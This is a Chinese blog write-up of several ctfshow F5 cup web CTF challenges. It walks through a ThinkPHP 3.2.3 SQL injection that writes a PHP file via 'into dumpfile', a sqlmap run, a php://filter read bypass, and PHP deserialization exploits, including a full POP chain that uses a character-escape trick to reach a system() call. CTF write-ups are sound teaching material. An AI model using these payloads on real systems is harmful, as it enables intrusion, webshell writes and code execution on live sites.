ctfshow F5杯web(复现)


lastsward’s website

tp3复现

对着登陆框日了半天,结果毛都没有。查看URL试着访问了URL/Public有了文件泄露。
随便看个游戏/index.php/Home/Game/gameinfo/gameId/<?php盲猜tp,尝试报错页面发现ThinkPHP3.2.3,搜pocid[0]=exp&id[1]==1 or sleep(5),正好url也有gameId
根据hint与sql语句尝试导出内容,URL/index.php/Home/Game/gameinfo/?gameId[0]=exp&gameId[1]==1 into dumpfile "/var/www/html/1.php"%23,确实,游戏名字导出来了,接着修改游戏名为<?php phpinfo()?>,再次导出访问即可得到flag

eazy-unserialize & eazy-unserialize-revenge

ez反序列化

<?php
include "mysqlDb.class.php";

class ctfshow{
    public $method;
    public $args;
    public $cursor;

    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
        $this->getCursor();
    }

    function getCursor(){
        global $DEBUG;
        if (!$this->cursor)
            $this->cursor = MySql::getInstance();

        if ($DEBUG) {
            $sql = "DROP TABLE IF  EXISTS  USERINFO";
            $this->cursor->Exec($sql);
            $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
            password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

            $this->cursor->Exec($sql);
            $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
            $this->cursor->Exec($sql);
        }
    }

    function login() {
        list($username, $password) = func_get_args();
        $sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
        $obj = $this->cursor->getRow($sql);
        $data = $obj['role'];

        if ( $data != null ) {
            define('Happy', TRUE);
            $this->loadData($data);
        }
        else {
            $this->byebye("sorry!");
        }
    }

    function closeCursor(){
        $this->cursor = MySql::destroyInstance();
    }

    function lookme() {
        highlight_file(__FILE__);
    }

    function loadData($data) {

        if (substr($data, 0, 2) !== 'O:') {
            return unserialize($data);
        }
        return null;
    }

    function __destruct() {
        $this->getCursor();
        if (in_array($this->method, array("login", "lookme"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        }
        else {
            $this->byebye("fuc***** hacker ?");
        }
        $this->closeCursor();
    }

    function byebye($msg) {
        $this->closeCursor();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }
}

class Happy{
    public $file='flag.php';

    function __destruct(){
        if(!empty($this->file)) {
            include $this->file;
        }
    }

}

function ezwaf($data){
    if (preg_match("/ctfshow/",$data)){
        die("Hacker !!!");
    }
    return $data;
}
if(isset($_GET["w_a_n"])) {
    @unserialize(ezwaf($_GET["w_a_n"]));
} else {
    new CTFSHOW("lookme", array());
}

直接反序列化happy类就好了

<?php

/**
 * @Author: yq1ng
 * @Date:   2021-02-27 00:36:24
 * @Last Modified by:   yq1ng
 * @Last Modified time: 2021-02-27 00:39:08
 */

class Happy{
    public $file='/flag';
}

echo serialize(new Happy());

迷惑行为大赏之盲注

一把梭

忘记密码处存在注入,直接sqlmap了,大半夜的懒得写工具

罕见的中文名

dbs

从太空神那里学到sqlmap跑MySQL保留字的语法:

sqlmap.py -u "" --data="username=admin" -D 测试
 -T 15665611612 -C "`what@you@want`" --dump

Web逃离计划

弱口令,反序列化字符逃逸,pop

参考atao师傅wp

说在前面,题目环境不要乱动,我图省事把class.php中的protected属性全部改为public了,所以导致本地复现可以成功但是题目不行,就是因为protected属性序列化后会多出两个字符(\00*\00),详细移步此处,然而php7对protected属性不敏感,即使改为public也可以成功反序列化。。。本地字符逃逸就少了两个字符,打到题目一直不成功,师傅们引以为戒,,我浪费了一下午。。。

弱密码admin/admin888登陆,没用,扫后台发现hint.php,点进去发现Here are some key messages that are hidden but u can't read u may try other ways to read this file to get hints,尝试其他方式,一般都是为协议呗。

查看源码,发现利用点(此处只有成功登陆才会出现)

<?php
//lookMe.php
error_reporting(0);
if ($_GET['file']){
    $filename = $_GET['file'];
    if ($filename=='logo.png'){
        header("Content-Type:image/png");
        echo file_get_contents("./static/img/logo.png");
    }else{
        ini_set('open_basedir','./');
        if ($filename=='hint.php'){
            echo 'nononono!';
        } else{
            if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){
                echo "hacker";
            }else{
                include($filename);
            }
        }
    }
}else{
    highlight_file(__FILE__);
}

伪协议不用read也可以转换读取方式URL/lookMe.php?file=php://filter/convert.base64-encode/resource=hint.php

<?php
//hint.php
echo "Here are some key messages that are hidden but u can't read</br>u may try other ways to read this file to get hints";
//You can only read the following(Files in the current directory),and  only top 3 are necessary:
//ezwaf.php
//class.php
//index.php
//lookMe.php

依次读取每个文件

<?php
//ezwaf.php
function get($data){
    $data = str_replace('forfun', chr(0)."*".chr(0), $data);//6字符变3字符,应该是反序列化字符逃逸
    return $data;
}

function checkData($data){
    if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){//stristr对大小写敏感,反序列化中字符串类型的s变S可以解析十六进制
        die("fuc**** hacker!!!\n");
    }
    else{
        return $data;
    }
}

function checkLogData($data){
    if (preg_match("/register|magic|PersonalFunction/",$data)){//未写/i,大小写敏感,但是php对类名的大小写不敏感,变换大小写绕过即可
        die("fuc**** hacker!!!!\n");
    }
    else{
        return $data;
    }
}
<?php
//class.php
error_reporting(0);

class Login{
    protected $user_name;
    protected $pass_word;
    protected $admin;
    public function __construct($username,$password){
        $this->user_name=$username;
        $this->pass_word=$password;
        if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
            $this->admin = 1;
        }else{
            $this->admin = 0;
        }
    }
    public function checkStatus(){
        return $this->admin;
    }
}


class register{
    protected $username;
    protected $password;
    protected $mobile;
    protected $mdPwd;

    public function __construct($username,$password,$mobile){
        $this->username = $username;
        $this->password = $password;
        $this->mobile = $mobile;
    }

    public function __toString(){//对象当成字符串使用触发此魔术方法
        return $this->mdPwd->pwd;
    }
}

class magic{
    protected $username;

    public function __get($key){//读取不可访问属性的值时,__get() 会被调用
        if ($this->username!=='admin'){
            die("what do you do?");
        }
        $this->getFlag($key);
    }

    public function getFlag($key){
        echo $key."</br>";
        system("cat /flagg");//敲黑板,pop最终需要触发此处
    }


}

class PersonalFunction{
    protected $username;
    protected $password;
    protected $func = array();

    public function __construct($username, $password,$func = "personalData"){
        $this->username = $username;
        $this->password = $password;
        $this->func[$func] = true;
    }

    public function checkFunction(array $funcBars) {
        $retData = null;

        $personalProperties = array_flip([
            'modifyPwd', 'InvitationCode',
            'modifyAvatar', 'personalData',
        ]);

        foreach ($personalProperties as $item => $num){
            foreach ($funcBars as $funcBar => $stat) {
                if (stristr($stat,$item)){
                    $retData = true;
                }
            }
        }


        return $retData;
    }

    public function doFunction($function){
        // TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
        return true;
    }


    public function __destruct(){
        $retData = $this->checkFunction($this->func);
        $this->doFunction($retData);

    }
}
<?php
//index.php主要代码

include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
    $serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
    $login = unserialize($serData);//考察点就是反序列化了
    $loginStatus = $login->checkStatus();
    if ($loginStatus){
        $_SESSION['login'] = true;
        $_COOKIE['status'] = 0;
    }
    $finish = true;
}
?>

被这个题折磨好久,当初迷了,一直不知道怎么触发,后来看到atao师傅写的wp才恍然大悟,通过login去触发

可以先看看上面各个类我写的注释,会有一点点帮助吧。class.php需要最终触发的函数已经很清楚了,就是magic::getFlag(),怎么调用它?此类中有__get魔术方法,注释中已经写了,访问不可访问的属性,也就是不存在的属性即可调用,纵观这几个类可以发现register__toString方法中如果让$this->mdPwdmagic类,即可触发magic::__get();谁去调用register::__toStringLogin肯定不行,反序列化后就不会再触发__construct魔术方法了,所以只有PersonalFunction类,此类的 __destruc方法中调用了PersonalFunction::checkFunction(),而这个方法中有这一句if (stristr($stat,$item)){,正好可以满足我们的需求。

梳理一下pop

$a = new Magic();
$a->username = "admin";
$b = new Register();
$b->mdPwd = $a;
$c = array($b);
$d = new personalFunction();
$d->func = $c;
$yq1ng = serialize($d);

这还不够,怎么触发上面这一坨呢?看index.php中反序列化的是什么类?Login!入口点就是这,题目中还有一个反序列化字符串逃逸,利用它!将Login类带到上面那一坨,没用字符逃逸的脚本是这样的

<?php

class Login{
    public $user_name;
    public $pass_word;
    public $admin;
}

class magic{
    public $username;
}

class register{
    public $mdPwd;
}

class PersonalFunction{
    public $func = array();
}

$a = new Magic();
$a->username = "admin";
$b = new Register();
$b->mdPwd = $a;
$c = array($b);
$d = new personalFunction();
$d->func = $c;
$yq1ng = serialize($d);

$e = new Login();
$e->user_name = 'yq1ng';
$e->pass_word = $yq1ng;
$e->admin = 0;
echo(serialize($e));
//O:5:"Login":3:{s:9:"user_name";s:5:"yq1ng";s:9:"pass_word";s:123:"O:16:"PersonalFunction":1:{s:4:"func";a:1:{i:0;O:8:"register":1:{s:5:"mdPwd";O:5:"magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}

可以用吗?构造的pop根本不能触发鸭,所以需要字符逃逸,利用ezwaf.php的forfun->chr(0)."*".chr(0),6字符变3字符把原来的pass_word的键值对给吃掉,并补上一定数量的字符使其吃掉的字符数为3的倍数(不然你吃不完鸭哈哈哈),再填上新的s:9:"pass_word";,exp如下

<?php

/**
 * @Author: yq1ng
 * @Date:   2021-03-02 14:16:23
 * @Last Modified by:   yq1ng
 * @Last Modified time: 2021-03-02 18:00:32
 */

class login{
    public $user_name;
    public $pass_word;
    public $admin;
}

class Magic{
    public $username;
}

class Register{
	public $mdPwd;
}

class personalFunction{
	public $func = array();
}

$a = new Magic();
$a->username = "admin";
$b = new Register();
$b->mdPwd = $a;
$c = array($b);
$d = new personalFunction();
$d->func = $c;
$yq1ng = serialize($d);

$e = new Login();
$e->user_name = 'yq1ng';
$e->pass_word = 'y";s:9:"pass_word";'.$yq1ng;
$e->admin = 0;
echo(serialize($e));

//O:5:"login":3:{s:9:"user_name";s:5:"yq1ng";s:9:"pass_word";s:142:"y";s:9:"pass_word";O:16:"personalFunction":1:{s:4:"func";a:1:{i:0;O:8:"Register":1:{s:5:"mdPwd";O:5:"Magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}

最终payload:password=y";s:9:"pass_word";O:16:"personalFunction":1:{s:4:"func";a:1:{i:0;O:8:"Register":1:{s:5:"mdPwd";O:5:"Magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin&username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
由Nahamcon-2021-cereal_and_milk看php反序列化 由Nahamcon-2021-cereal_and_milk看php反序列化
Nahamcon-2021-cereal_and_milk题目代码不难,但是wp的这句话吸引了我Now another quirk, do not copy the last },不去复制exp生成序列化字符串的最后一个}才能写马成功,遂来
2021-03-16
下一篇 
ctfshow SSTI专题 ctfshow SSTI专题
下午考试(21-01-04), 随便写写,托更了,明年见,本篇wp不建议观看,移步别的大佬那里吧嘻嘻 力荐yu22x师傅的文章:https://blog.csdn.net/miuzzx/article/details/112168039,因
  目录